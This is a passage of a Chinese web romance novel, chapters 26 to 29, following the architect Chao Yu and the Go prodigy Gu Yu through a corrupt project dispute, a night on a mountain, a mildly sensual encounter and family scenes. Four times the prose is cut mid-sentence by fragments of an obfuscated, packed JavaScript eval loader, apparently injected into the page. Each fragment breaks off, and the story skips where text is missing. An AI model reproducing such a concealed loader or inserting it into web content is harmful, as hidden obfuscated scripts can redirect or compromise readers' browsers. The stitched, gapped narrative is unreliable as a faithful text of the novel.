晁雨:“山区多雨,山体结构不稳定,你选的那款玻璃承重不够。加上山区海拔高,阳光烈,玻璃墙的反射太强,不适合山区孩子的阅读。” “可是,拍照好看啊。”明恒宇说:“负责这个项目的人,要做业绩的。” 晁雨看着他。 明恒宇又说:“况且,负责提供玻璃的厂家,是他的小舅子啊。” 晁雨仍看着他,一点一点,从内侧咬着自己的唇。 “别咬嘴了,你觉得随便找个项目,杜老就会理你吗?”明恒宇问:“你知不知道我今天找杜老谈的项目,可以让他赚多少。” 晁雨:“杜老是建筑大家。” “小姑娘。”明恒宇笑了,用南方的家乡话叫她。 那是一种南方很土的方言。明恒宇讲普通话的时候字正腔圆,讲家乡话的时候反而咬牙切齿,带着些阴鸷。 好像他很厌弃自己的出身。 他问晁雨:“你知不知道他在北京的房产价值多少?在美国的马场、意大利的酒庄又价值多少?” “你以为这些都是怎么来的?他不想赚钱么?” “赚钱人人都想,我也想。”晁雨说:“可是赚钱和做好项目之间,总该找个平衡。” 明恒宇又笑了。 叫晁雨:“喝一口咖啡。” 晁雨看着他。 他以不容置疑的语气说:“喝一口。” 晁雨喝了口。 他罕见褪去温雅笑容,盯着晁雨,其实他眉骨偏高,不笑的时候,看起来像只阴沉的秃鹫。 “明明都学会喝咖啡了,怎么就不能继续学乖一点呢?”明恒宇道:“我和周袭的事,你该装不知道的。你知道吗,我都打算向你求婚了,钻戒都买好了,足有一克拉。” “而且,我跟女人也不是不行,我还能让你生个儿子。那样的话,你就什么都不缺了。” 晁雨看着明恒宇。 也许是落地玻璃透过北方炽烈的阳光,太晃人眼睛了,她心中生出一种无限吊诡的情绪。 眼前的这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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晁雨走进去:“麻烦要一杯拿铁,加糖加奶,还要加很多的奶油。” 她强调一遍:“很多很多。” 店员抬起头来看她。 即便不看她高跟鞋和西裤脚边沾满的灰尘,她的模样也足够狼狈。 因为下午出过很多的汗,碎发凌乱地黏在额前,很久没喝水,嘴唇干涸。 店员声线听起来像中学时的英语听力:“抱歉小姐,我们店只有黑咖。” 晁雨微微睁圆眼:“什么?” 店员重复一遍:“我们店只有黑咖,各种产地咖啡豆的黑咖。” 并非不礼貌,可那是一种冰冷的、毫无感情的礼貌。 辜屿打车回家的时候,看到有人站在路边。 这片别墅区很幽谧,很少有人这么直愣愣站着,所以即便是他,也多看了眼。 然后他发现,那是晁雨。 脚步继续往小区的门闸走。 走了两步,倒回来,往晁雨的方向走去。 晁雨直挺挺站在路边,辜屿走过去,先是看到她高跟鞋和西裤脚蒙满的灰尘。 视线往上抬,看到她凌乱披在肩头的发,和干涸的唇。 接着是茫然的一双眼。 辜屿问:“怎么了?” 晁雨:“你们富人区的咖啡店里,怎么没有加糖加奶的咖啡呢?” 她看上去很沮丧。 无比无比沮丧。 辜屿微蹙了下眉。怎么会有人为喝不到一杯带甜味的咖啡如此沮丧么? 可他没说什么,留下一句:“在这等我。” 转身就走。 没走两步,听到身后有咔咔的脚步。 一回头,是晁雨隔着段距离,远远地跟在后面。 他没再说话,转回身继续往前。 这个别墅小区旁边并没有很多商业。辜屿一路往前。 走过变换的交通标志灯。走过斑马线。走过北方的圆柏和被霓虹照得不甚明亮的月。 不知走了多久,他没回过头,可他知道,晁雨一直跟在他身后。 终于,路边出现了一家星巴克,透过玻璃门,能看到店员正在做打烊准备。 他从口袋里摸出一只黑色口罩蒙在脸上,推门进去。 店员抬眸看他,即便只露出一双冷峻的眉眼,犹然惊艳了下。 身后的门又传来轻微的响动,是晁雨推门走了进来。 他跟店员说:“一杯拿铁,加糖加奶。” 晁雨站在他身边,没看他也没看店员,盯着橱柜里早已蔫掉的烘焙甜点,用低不可闻的声音说:“加很多很多的奶油。” 辜屿跟店员转达:“加奶油。” 晁雨再旁边低声又说了遍:“很多很多。” 辜屿侧眸看她。她半垂着脸,去看橱柜里存放的甜品,长发散落下来,看不见她脸上的神情。 辜屿转回去面对着店员,说:“很多很多。” 27. 第四件小事09 晁雨终于拿到了她的咖啡。 超大杯的拿铁,加了很多的奶和枫糖浆,还有大量的奶油。喝一口,甜得发腻。 可走回小区的路上,她远远地走在辜屿身后,一口一口,把这杯咖啡吞掉。 好像要吞掉那个努力学会喝黑咖的自己。 好蠢啊晁雨。 其实无论多么努力,学不会的还是学不会。 变不了的还是变不了。 她就是这样一个人。她很庸俗,她想扬名立万,想赚很多很多的钱,想去打那些重男轻女的人的脸。 她并不理想主义,她只是有一点小小的坚持。不多,像墨蓝夜空里为数不多的那么一点星星,不起眼,可是很重要。 在这个被明恒宇恶心坏了的夜晚,甜腻的咖啡味堵在她胃里。 辜屿走着走着,突然听到身后的脚步声停了。 他转回头,看到晁雨远远的站在他身后,捧着咖啡杯。 晁雨说:“你先回去吧,我要去看星星。” “你什么?”辜屿怀疑自己听错了。 晁雨重复一遍:“看星星。”转身就往路边走。 辜屿走过去:“走这边。” “什么?” “去我家楼顶。” 哦对了,辜屿的那栋独立大别野,视野又好又开阔。 晁雨摇摇头:“灯太亮了。” 无论是北京还是辜屿家所在的别墅区,灯都太亮了。 晁雨走到路边打了辆快车,辜屿在原地站了两秒,跟过去。 晁雨钻进车内,刚要关门,辜屿在外面掌住车门,跟着坐进来。 司机跟晁雨闲聊:“姑娘,这大半夜的上山干嘛呀?庙都关了。” 晁雨笑笑:“就在庙外拜拜。晚上不吵,佛祖听得见。” “是嘛?还有这讲究呐?” 辜屿看了眼导航路线,推测了下大致方向。 还好,这女人还没疯。去的是一座知名景点的山,不过晚上景点都关了,不会有人去。 下了车,晁雨跟司机道谢,轻车熟路走去山脚下一间小超市。 辜屿站在外面,不一会儿看她拎了个塑料袋出来了。 里面是罐装啤酒。 拎着就开始爬山。 晁雨以前穿高跟鞋站半天都费劲,不见客户的时候她都穿平底鞋。可今天她穿着高跟鞋去了山区图书馆,现在又爬山,却浑然不觉。 一路上到山顶,一座知名寺庙果然已关闭,寺庙前的停车场空荡荡。 晁雨又轻车熟路地走过去,在一张长石凳坐下,面向山脚下,远远地,能望见灯光闪烁的北京城。 可周遭很黑,一种久居城市的人几乎不适应的黑。辜屿走过去,远远坐在石凳另一端,仰头看了眼天。 呸,哪来的什么星星。 晁雨咧嘴一笑:“这座山我以前跟许辰懿常来。还以为能看到星星,后来发现什么呀,还是看不到。看不到也没事,我们就喝酒,大多数时候是她喝,我看着她喝。” 可是今晚她从塑料袋里掏出一罐啤酒,抛给辜屿,又自己拿了罐,拉开拉环。 辜屿接过啤酒,没喝,放在一边的石凳上。 晁雨之后不再讲话了,小口小口地喝着啤酒,很安静。喝酒的声音像某种小动物。 再炽烈的夏天,山里的空气入了夜也有一点凉,裹挟着人的毛孔。 晁雨不知喝了几罐啤酒,她觉得之前应该是低估自己的酒量了。她喝了这么多,可是连头都没觉得晕。 她说:“差不多了,下山吧。” 辜屿站起来。 正当晁雨也准备站起来时,辜屿向她这边走来。 蹲在她面前。 晁雨喝了酒动作到底迟缓些,眨了一下眼。辜屿伸出手,握住了她的脚踝。 夜风中他的手指更凉。 从前在洵州他也握过她的脚踝。可现在不一样了,现在他们接过吻,握住她脚踝的那只手,曾贴住她的纤腰摩挲。 辜屿从口袋里掏出两张创可贴。 那不可能是刚刚买的,晁雨跟着他走了一路。也就是说,这创可贴是之前就买好了。 晁雨昨天穿高跟鞋就开始磨脚了。 这会儿穿着高跟鞋走了大半天的山路,脚后跟的那块皮肤早已血肉模糊。网上那句名言怎么说的来着——每个女人的脚后跟都是一部血泪史。 也许此刻的氛围,暧昧到让人的后脖根发烫。晁雨为了分散注意力般,脑子里乱七八糟想着这些。 但创可贴贴上来。 “嘶……” 冰凉的药液漤上来,让人的心脏骤然一紧。 辜屿仰起脸来看她。 她垂眸看着辜屿,伸出手,很轻地摸了下辜屿的脸。 那一刻辜屿的表情很奇怪,唇角动了下,看上去像是想躲,又像是不想躲。 看上去想说句什么,又像是什么都不想说。 晁雨笑道:“弟弟,你不会是喜欢我吧?” - 辜屿蹲在地上望着晁雨。 那一刻,他罕见地觉得后脚跟有点发麻。 他的岿然不动看在晁雨眼里,是一种与平时无异的平静淡漠。 晁雨又笑笑:“你知不知道,有时候你会让我产生一种错觉,觉得你好像有点喜欢我。” “很自作多情对吧?”晁雨咧着嘴:“我以前对北京也是这样的。” “觉得北京好像有点喜欢我。” ……什么乱七八糟的。 辜屿站起身来。 晁雨也站起来。两人一前一后地下山,辜屿跟在晁雨身后。 嘿,出息了啊晁雨!晁雨心想,今晚喝了好几罐,她走起路来居然一点也不晕,那叫一横平竖直。 她下山打了辆快车,和辜屿一起,又回了辜屿家的小区。 辜屿刷指纹的时候,她跟辜屿说:“谢谢你让我借住,我明天就回洵州了。” 辜屿没说什么,打开鞋柜,拿出那双灰色的拖鞋丢在她脚边,自己往客厅走去。 晁雨趿着拖鞋往客房走,辜屿忽然问:“你饿么?” 晁雨回头。 辜屿往西厨走去,打开冰箱,番茄没有了,剩了几只鸡蛋,辜屿把葛洁给他带的小咸菜拿出来,准备煮两碗清汤面。 晁雨走过去,倚靠在墙上。 那片流理台星云灰的颜色很高级,葛云用来装小咸菜的罐子放在上面格格不入。那本来是一只杨梅罐头的罐子,被葛洁洗净了,包装纸的胶却抠不干净,黏了点难看的绿色在玻璃罐上,金属盖子上一点点锈痕。 她们家从来就是这样。葛洁洗净很多很多的罐头瓶,装各种各样的小咸菜。 她看辜屿用煮面的筷子,把小咸菜从罐头瓶里挑出来,忽然觉得有一点点难过。 她走过去说:“不能这样挑。” 辜屿看着她。 她说:“用不干净的筷子挑,很快会长霉的,就只能扔掉了。” 这时辜屿的手机响了。 他看了眼,接起来:“喂。” 晁雨站得近,所以听到电话里一个女声,应该是昨晚那漂亮女孩的朋友,说女孩很难过,问辜屿能不能去看一看。 辜屿:“她的感受不在我的考虑范围内。” 说完挂了电话。 晁雨低头笑了下。这时她觉得酒气一点点开始上涌,伸手撑住流理台:“自从我们意外……吻了,有些话好像还没好好说清楚。” “我承认,我们对彼此都有感觉。你别说没有啊,你说没有我会很尴尬的。” 晁雨指尖在流理台上摩挲了下:“但我们不可能谈恋爱。” 她抬眸看向辜屿:“你太像北京了。” 北京是什么?是一个华丽的梦。 人人都怀着雄心壮志,想要征服它、融入它。 晁雨摇摇头:“我不适合北京。我挺笨的,学不会的永远学不会。” “你……”晁雨胃里的酒气又往上涌了涌,她伸手把流理台扶稳了些:“你太像北京了。你这样的人,会为了任何人改变么?不会,只会有一点一点的细节,让人以为,你好像改变了,好像动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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今天明恒宇那一声“小姑娘”也把她恶心坏了。她想听辜屿用冷薄干净的嗓音叫她姐姐。 她为什么要当任何人的小姑娘? 她迫切渴望自己掌握主动权。生活是,身体也是。 辜屿不叫,只是埋头吻她。 她缩下去咬他锁骨,一点一点。她能感受到少年人的某种蓬勃。她用很小的声音说:“那个。” 辜屿停下来一瞬看她。 她说:“马上不是要举办春闻杯了么?运动员大赛前是不是都要禁欲啊?” “围棋选手……算运动员么?” 辜屿黑沉的眸子垂着。 要不要禁欲是一回事。今晚的确是个出乎两人预料的意外,他没准备。 于是那只手。 在围棋赛场上执着黑子、冷傲禁欲的手。 被无数镜头追捧特写过的手。 被晁雨暗自觊觎过的手。 在那只手的动作下,晁雨仰起下巴,眼底弥一层薄薄的雾。那只手很擅于进攻,也很擅长铺垫,既像安抚又像铺垫,在她最敏感的地方,那样的节奏让她无可抵御。 喉咙里的声音不由自主,她的皮肤太薄,忽而迸出的血色在出卖她的感受。 直到第二天早上,晁雨在客房床上醒来。 她摁了下自己的太阳穴。 嘶……小说里关于醉酒的描写不太对头呢。她并没有头疼欲裂,也没有口干舌燥。 她也没有断片。甚至昨晚结束后,她还是独自回客房睡的。 可那件完全超越理智的、在清醒状态下绝不可能发生的事,的的确确是发生了。 并且发生的热烈而激烈,她全心感受其中,甚至没去留意辜屿到底有没有腹肌! 她把脸埋进双掌之间,沉沉地“呜”了声。 28. 第四件小事10 晁雨爬下床,用最快的速度收拾了行李,换好衣服准备去客卫洗漱完就跑。 推门进去的时候。 我,靠。 晁雨立马又把门关上了。 客卫并没有像主卫一样,干湿完全分离。盥洗台后便是淋浴室,晁雨刚刚推门的时候,辜屿从淋浴室出来,正要裹上浴巾。 他应该刚运动完,浑身的线条流畅而紧致。昨晚神思恍惚间并没留心关注的他的好身材,在晨光下暴露无遗。 光天化日,朗朗乾坤。晁雨的心好像跳得比昨晚更剧烈,马上钻回客卧关上门。 过了会儿,辜屿来敲门。 她拉开门,看到门外的辜屿已穿好了黑T黑裤,只是头发未完全吹干,带着点湿痕垂在眼前,身上有很清新的水气。 晁雨先发制人:“你为什么要用客卫?” 辜屿看她一眼。 晁雨看懂那眼神的意思了:你是不是断片了? 辜屿勉为其难地解释了一句:“昨晚你喝了酒去主卧浴室洗澡,把开关弄坏了。” ……哦对。 晁雨问:“在保修期内么?” 这下连辜屿都抿了下唇,估计实在没想到她问的是这个。 辜屿:“在。” “那就好。”晁雨放下心来。 她钻进客卫洗漱,出来时辜屿已经走了。她松了口气,拖着行李箱溜之大吉。 抵达洵州的时候,还是晁二柱开着那辆五菱宏光来接她。 她上车跟晁二柱说:“送我去办公室。” 晁二柱一脸震惊:“这都下午了,一个月两千五值得你这么爱岗敬业么?” 晁雨:“就因为一个月只有两千五。” 开到办公室,晁雨下车,晁二柱准备把她的行李箱先运回去。 晁雨手一挥:“别动,这是我的重要道具。” 她拎着行李箱,做出一副风尘仆仆赶回来上班的劲头,推门进了办公室。 九叔正在玩扫雷,从电脑屏幕上挪开眼,瞥了瞥她。 晁雨坐到自己的办公桌前,拿手掌扇风。 九叔开尊口道:“你缺勤四天,钱还是得扣。” “为什么!我是去北京跑劝宁塔的项目。” 九叔冷哼一声:“你真以为这项目能做啊?曾经修缮项目是立过案,可投资人早就撤资了,毕竟洵州没乘上旅游业发展的东风,花那么多钱修了劝宁塔,在附近开发片房地产也卖不出去。” “先把方案做出来再说。” “哼,又没名又没利的项目谁做?你不过就是想借着这个项目回北京,等你知道有多难,你自然就会去找别的路了。” 晁雨问:“缺勤四天,每天扣多少?” “两百。” “什么?”晁雨震惊了:“那至少今天你不能扣我两百。” “为什么?” “我赶回来上班了啊!”晁雨拍拍行李箱:“你把两百拆成每小时,把今天下午的钱给我留着!” 晁雨晚上又拖着行李箱回家。 葛洁和晁正声收摊回来,葛洁对着她端详一番:“瘦了。” “……妈,我不算路上时间的话,才去了两天。” 葛洁斩钉截铁:“就是瘦了。” 晁雨无语地想:估计妈看孩子,无论如何都会觉得瘦了。 她记得晁二柱上大一那年,刚进校篮球队,练得特壮。 暑假回来的时候,葛洁仍看着他心疼地说:“瘦了。” 许辰懿开完一个漫长的电话会,从客房冲出来,扑到晁雨身上:“姐们儿,想死我了!你和辜屿弟弟睡得怎么样?” 晁雨默默无言地看着她。 许辰懿一摸自己的鼻尖:“我没说错啊,你不就是和辜屿弟弟睡在一个屋檐下么?” 晁雨眼神撇开去:“哦,挺好,恒温恒湿,有钱人的配置。” 许辰懿挂着晁雨的胳膊嗅两嗅:“你这味儿,不对啊。” 晁雨本以为逃过了许辰懿的“审视”,这时心里又一咯噔。 那啥了……还能……闻出来? 结果许辰懿说:“一股高铁车厢里的泡面味儿!” 葛洁接话:“把要洗的衣服拿出来,我给你洗了。” “你歇会儿吧,我自己扔洗衣机里就得。” “你又不会分类又拎不清放多少洗衣液,洗不干净!”葛洁是个闲不住的。 晁雨去洗了澡换了家居服,把脏衣服交给葛洁。 葛洁不一会儿来敲她门:“你那件白衬衫上搞的什么东西啦?” “咖啡不小心洒了。” “喔唷一个小姑娘家家怎么毛手毛脚的,难看死了,我帮你用漂白剂漂漂好不啦?” “行。”晁雨想,死马当活马医吧。 不一会儿葛洁又来敲她门:“你扣子怎么掉了啦?” 葛洁做家务的时候就这样,恨不得全家都知道她在做家务,这是她跟全家交流的一种手段。 晁雨:“什么扣子?” “就是另一件白衬衫呀,掉了颗扣子你自己不晓得哦?” 晁雨靠坐在床头。 哦……就是她穿着跟辜屿酱酱酿酿的那件白衬衫。 掉了颗扣子? 那时……有那么激烈吗? 她正在翻一本古建筑图册,这时放下来,抬手摸了下鼻尖,又觉得这个动作有点心虚,垂下手来,指尖在床单上摩了下。 “哦……”她说:“没留意。” “小姑娘家家喔怎么得了。”葛洁白她一眼又下楼去了。 不一会儿又来敲门:“我给你用这颗扣子钉上去好伐?” 晁雨看了眼:“……妈,我那是件白衬衫,你那是颗黑扣子。” “有什么关系啦?你看这颗扣子,蛮好看的呀。” “……妈,妈妈,您还好吗?”晁雨脑壳疼。 葛洁笑起来:“你这孩子哦,从小就一板一眼的。记得你小时候,也是有件白衬衫扣子掉了,那时候家里没有白扣子了嘛,我拿颗多漂亮的黑扣子给你钉上,搭配起来也蛮特别的,你还不乐意。” “你知道人老了的显著标志是什么吗?就是喜欢忆当年。” 葛洁白她一眼:“你都快三十岁了我还不老吗?我跟你讲哦人家这个年纪都当外婆……” “妈,妈,打住。”晁雨觉得刚才那一句是把自己给坑了。 “那就黑扣子了喔。”葛洁拿着扣子又走了。 等衬衫晾干葛洁叠好放在晁雨床上的时候。 晁雨拿起来看了眼,颇有些哭笑不得。 葛洁真给她盯了颗黑扣子。 她这会儿倒是想起来了,葛洁提起她小时候的那件衬衫。她穿着出去逛文具店的时候,碰到班里最洋气的女同学。 女同学爸爸是开家具厂的,家里在新城区有好几套房子。据说她的裙子鞋袜,都是去上海买的。 晁雨话不多,跟她并不熟。两人并没有打招呼,晁雨站在文具店的头饰区,听她正跟自己的朋友窃窃私语。 又发出一阵轻笑。 晁雨把手里刚选出的小熊发夹又放下了——好像,是有点幼稚了。 低头又瞥见衬衫领口那颗黑扣子。 她们是在笑这个吗? 那时晁雨初一,正是女孩对自己的外貌开始觉醒的年纪。晁雨气呼呼冲去葛洁摊上问:“干嘛非要给我钉颗黑扣子?” 葛洁是个心大的,忙着招呼客人,浑不以为意:“有什么关系啦?” 现在想来,都是笑谈。 晁雨把衬衫收进衣柜时想:后来小时候的那件衬衫怎么样了? 晁家祖宅里,一切都是老的。 时光在这里停滞,她甚至还能在自己房里,找到小学一年级的卡通贴纸和作业本。 她去放旧衣服的衣柜里翻找时,许辰懿啃着桃子走进来:“辜屿弟弟怎么还没回来?” “……我不知道啊我怎么知道。” 许辰懿瞥她一眼:“吃完饭去逛逛么?有点无聊。” “行啊。” 吃过晚饭,葛洁回摊上,晁雨挽着许辰懿去散步。 榕树下一方小摊,牵出个没灯罩的电灯泡,玻璃柜上腻薄薄一层油,贴着红色笔画写着“XX鸡”。 隔着段距离,许辰懿没看清:“什么鸡?” 晁雨正在走神:“腹肌。” “什么?” 晁雨回过神来:“哦,香糟鸡。” “整点儿。”许辰懿拉着晁雨走过去,一边等老板给她剁鸡,一边问晁雨:“到底什么感觉?” “嗯?” “就是跟辜屿弟弟同居。”许辰懿接过一块老板递她试吃的鸡肉:“他回北京不是去拍杂志封面么?你有没有看到他带妆回家什么的。” “没有。” 晁雨甚至不知道他回北京是去拍杂志封面的。 “不过。”晁雨想了想:“即便没看到,也知道他和我们是不一样的人。” “为什么?” “很难讲,感觉吧。” 许辰懿笑了笑:“我不是能学各个地方的口音么?但我告诉你,北京西城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有个馋嘴姑娘,睡午觉时差点吞了整只蜘蛛。 许辰懿挥着胳膊赶跑蜘蛛:“好了好了。” 晁雨回魂,回房以后,看着打开的衣柜门。 才想起自己出门前,在找初中的那件白衬衫。 她想找出来,跟今天那件衬衫一起拍张照,发朋友圈吐槽葛洁。 还真被她找着了。 只是一看,领口缺了颗扣子。 之前葛洁钉的那颗黑扣子,怎么没了? - 辜屿打车向西边城郊而去。 下了车,又自己往前走了很长一段。 路边草木葱茏。碧竹的掩映间,是古老的砖墙。 一直走到一处低调的门脸,他摁门铃,有人来应门。 见他,先是愣了下,才反应过来一般,讪讪招呼道:“回来了啊,我去告诉太太。” 几进几开的院子,不知多少年的老树镇着宅,着眼处皆是不一般的气度。 他去客厅坐着,有人斟来杯雪梨茶。 他垂眸看了眼,没喝。 大约是下午四点到的,一直坐到暮色西垂,那人说要去请的太太,也一直没露脸。 夕阳透过漆红的窗棱照进来,把坐在黄花梨圈椅上的他,影子拽得老长。 像在把他往外拽似的。 他盯着自己的影子看了会儿,站起来准备离开。 路过一间厢房的时候,步子顿了顿。 那门虚掩着。 透过一道门缝,能瞥见那是一间儿童房。画板,积木,玩具车堆放着,没有灰尘,擦拭得一尘不染,只不过都是多年前的款式。 像被封存进了时光深处。 辜屿犹豫了一下,伸手轻推门扉。 踏进去的时候,他脚尖踏在门槛的那道线上,又是一顿。 “脚。”一个冷冷的女声从走廊另头传来。 辜屿回眸。 那是一个很清丽的女人,能看出上了些年纪了,但无损于她的容貌。瘦,左手腕上戴一只玉镯子,她站在屋檐挡出的暗处,像一道日光照不透的薄薄的影子。 “脚。”她的声音也冷。 辜屿把踏回屋内的脚尖缩了回来。 女人转身走了。 辜屿望着她背影,两秒后,转身,向院外走去。 罢了。 卡在喉头的那一声“妈”,本来也是无论如何不可能叫出口的。 29. 第四件小事11 周一上班,九叔哼着昆戏,对着电脑玩扫雷。 不忘问晁雨:“昨晚有没有去扫塔?” “嗯去了。”晁雨埋着头。 九叔伸头看一眼,见她正对着祝镜鹤的那份劝宁塔修缮方案钻研。 “别白费功夫啦,搞不出名堂来的。” “九叔。”晁雨抬起头。 “干嘛。” “你以前是做什么的?” “什么意思?” “你是怎么进古建筑保护管理局的?” “木匠啊。”九叔哼一声:“你以为这个岗位好招人喔?一点油水都没有的。” “所以你就这么混日子?” “混日子怎么不好了?”九叔看着电脑屏幕,鼠标一点,轰,炸了。 老头儿一咂嘴,端起茶缸喝一口:“现在多少年轻人想混日子还混不了呢。什么都不用投入,也就没什么可失望的,对吧?用你们年轻人的话怎么说来着,佛系。” 晁雨捏一下手里的铅笔。 想起那个山区图书馆项目。 最后还是用了华而不实的玻璃,泛着刺眼的光。她现在想来还忍不住闭一下眼,像被那光所刺似的。 那天走了很远的山路、磨得血肉模糊的脚后跟,好像在鞋里隐隐作痛。 “也是哦。”她重又埋下头,这样说了一句。 九叔瞥她一眼,重新点开一局游戏。 下班后,她乘公交绕去了劝宁塔一趟。 果然,这里平时虽人也不多,还是有零星行人走过,不比周日晚上清静。 晁雨便没打开塔门进去,举起手机打开夜拍模式,对着劝宁塔。 她昨晚拍了些塔内的结构图,今晚想来补些外观照。 想起九叔那句“混日子怎么不好了”,又把手机放下。 想了想,还是举起,拍了几张,乘末班公交回家。 远远瞥见路灯下,一张薄薄木板当棋盘,对坐着一黑一白两道身影。 是九叔。 和辜屿。 晁雨算是摸清九叔的活动规律了。上班在办公室玩扫雷,下班便摸到木安街找这里的老头下围棋,下出兴味了,晚上还要拉着辜屿再来两盘。 晁雨本想偷偷溜走了,毕竟谁想在下班时间碰到上级。 偏偏九叔这老头天天玩电脑眼神还特好,老远冲她招手:“过来过来。” 晁雨不得已走过去。 九叔执白,对着晁雨一挑下巴:“你看看,我下哪合适。” “我不懂围棋。” “所以才问你。我是没招啦,就靠你了,乱拳打死老师傅。”他点了几个位置让晁雨选:“哪里?” 晁雨随手指了个。 九叔:…… “要不你再看看?”九叔道。 这时辜屿掀起眼皮看了晁雨一眼。 “不用看啦。”九叔叹口气,把白子落在晁雨刚指的一处:“这丫头就是什么不记得了,就连我以前讲的那点围棋规则都不记得了。” 晁雨:? 当着辜屿的面,她不好多问什么。 偏偏这一落子,打乱了辜屿的布局。 他眉很轻地蹙了下,又松开,像永远如镜的湖,波澜只是人的错觉。 “嘿!”九叔自觉迎来转机,抱着膝盖来了兴致。 修长白皙的指骨,衔黑子,似雪间一点墨,落在并不横平竖直的棋盘上。 九叔:…… 棋盘一推:“不来了不来了。” 掏出口袋里揉皱的五块钱扔给辜屿:“你请客,请我吃娃娃头雪糕。” 辜屿拿了钱站起来。 九叔一指晁雨:“她跟你一起去。” 晁雨不满:“我去干嘛?” 九叔瞪她:“他跑了怎么办?我不得派个自己人去监督他?” “你一起去,五块钱刚好买两根,分你一根。” 晁雨瞥了眼。 辜.每年参赛奖金高达数千万.各类商业代言拿到手软.二十二岁杀入福布斯青年精英榜.屿,一手插兜,站在路灯下。 还真像会因为一根两块五的雪糕跑路,呢! 辜屿开口:“走吧。” 晁雨不好再说什么。 再推脱,就显得奇怪了。 她托一托肩上背着的帆布包,走到辜屿身边去。 两人沉默着,往小卖部的方向走去。 九叔哼着曲在两人身后收拾棋盘,婉转的昆戏成为夜的背景音,反衬得夜色更静。 石板路青悠悠,像在拖着人的脚步。 小卖部还是如凝固在时光深处的一枚茧,被琥珀色灯光所包裹。 装满各种烟的玻璃柜台并不洁净,一只三花猫卧在上面,懒洋洋地打着呵欠。 年轻时是军人的唐老头,耳朵不好了,背仍打得笔直,坐在柜台里聚精会神地看电视。 辜屿走到小卖部前停步。 晁雨问:“你要么?” 辜屿摇头。 晁雨一个人上前:“两根娃娃头。” “两个卤猪头?” 晁雨提高音量:“两根娃娃头!” “两瓶鹤顶红?” 晁雨:…… 越说越没谱了,这是要毒死谁。 “晁雨。”这时辜屿在她身后喊。 晁雨正琢磨着怎么跟唐老头沟通,抬头抬得很慢。 哟唐老头还挺前卫,鼓肚子电视不知调到哪个频道,放着部美国老电影,没修复过,画质模糊而有点发黄。 身后脚步声响起。 小时候学自然科学,说光比声音传播得更快,所以先看到闪电后听到打雷。 现在,触感也比声音传播得更快,晁雨是先感到微凉的手指捂在了自己眼前。 然后才反应过来,刚才是辜屿的脚步走到了她身后。 再然后,脑子里才反应过来,刚才电视里放的应该是什么不入流的B级片,一只巨大如小山的怪物正吞噬一个人类。 从那毛茸茸的触手来看。 应该是……蜘蛛。 晁雨的头皮瞬时就麻了下,辜屿那种情况下叫她回头已经来不及了,她视线反而会锁定在屏幕上。所以辜屿上前来,手臂圈过她颈侧,手指捂在了她眼前。 晁雨站着。 夏夜里的风,让身后的人显出些热度。可他手指很凉,带些类似植物的清涩味道。 那是一种很微妙的触感。 毕竟不过几天之前,他们在干燥的北方夏夜,在一张蔚蓝如海洋的床单上,这只手刚刚探索过她,令她在如被火炙的下一瞬,又被抛入天堂。 晁雨在他的指缝间,很轻地眨了一下眼。 睫毛绒绒地刮过指纹。 辜屿在晁雨身后,喉结滚过的一瞬不着痕迹。手指退开于眼前是一点一点的,晁雨听见他用薄沉的声音说:“两根娃娃头。” “哦哦。”唐老头起身去冰柜里拿。 ……嘿!这怎么就听见了。 晁雨递出五块钱,拿了雪糕,拆开一根来吃,另一根拎在手里。 九叔等在路灯下:“怎么这么慢?” “哪有。”晁雨把雪糕递他。 他撕开刚咬了两口,雪糕啪一声掉在地上。 九叔:…… 他快炸了。 晁雨安慰他:“不就两块五么?你就当掉了两块五。” “掉了根你很想吃的雪糕和掉了两块五,那能一样么!”九叔跳脚:“那不一样!” 好不容易哄走了九叔,晁雨进家门前回头看了眼。 马路对面爬满葡萄藤的月门下,已是空无一人。 他总是很轻,也很静。 出现得让人猝不及防,消失得也令人猝不及防。 - 第二天下班,晁雨和许辰懿一道帮葛洁准备晚饭。 葛洁手脚利落,她们能做的不多。许辰懿靠在一旁刷手机,主要任务是给葛洁陪聊。 刷着刷着啧啧两声,把手机递给晁雨:“你看,这是辜屿弟弟去北京拍杂志的下班图。” 他还没换衣服,穿一件亚麻的白衬衫,散漫矜傲里透出几分淡薄。 按说他是偏文气的长相,眉眼的骨相又令他显出凌厉。 不知是化了妆,还是光线原因。 眉眼的立体度更强,像一轮白昼里的月。 评论里有人说:[弟弟是不是在为春闻杯禁欲?怎么感觉更帅了。] 又有人回复:[弟弟永远在禁欲好不好!他这种存在就跟欲望无关。] 晁雨看了下发布时间。 正是他们一起去酒吧的那天,然后就…… “咳。”晁雨咳了声:“怎么,有点呛。” 葛洁:? “我也没放辣啊。” 许辰懿继续刷手机:“说起来,夏天过完就是春闻杯了,不远了。” 又把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那是一个不到十岁的小孩该有的神情吗?她弟晁二柱,跟辜屿差不多年纪,感觉只会玩泥巴。 “你不喜欢下棋吗?”九叔问。 “讨厌。”辜屿表情冷淡地说。 “讨厌下棋干嘛啊?”九叔强行拉他到路边坐下,掏出个用钢笔墨水画的木板棋盘,其中有几道线还画歪了:“下棋多好啊,我们赌五块钱。如果你赢了呢,就有了五块钱。如果你输了呢,我就拿这五块钱请你吃娃娃头。” 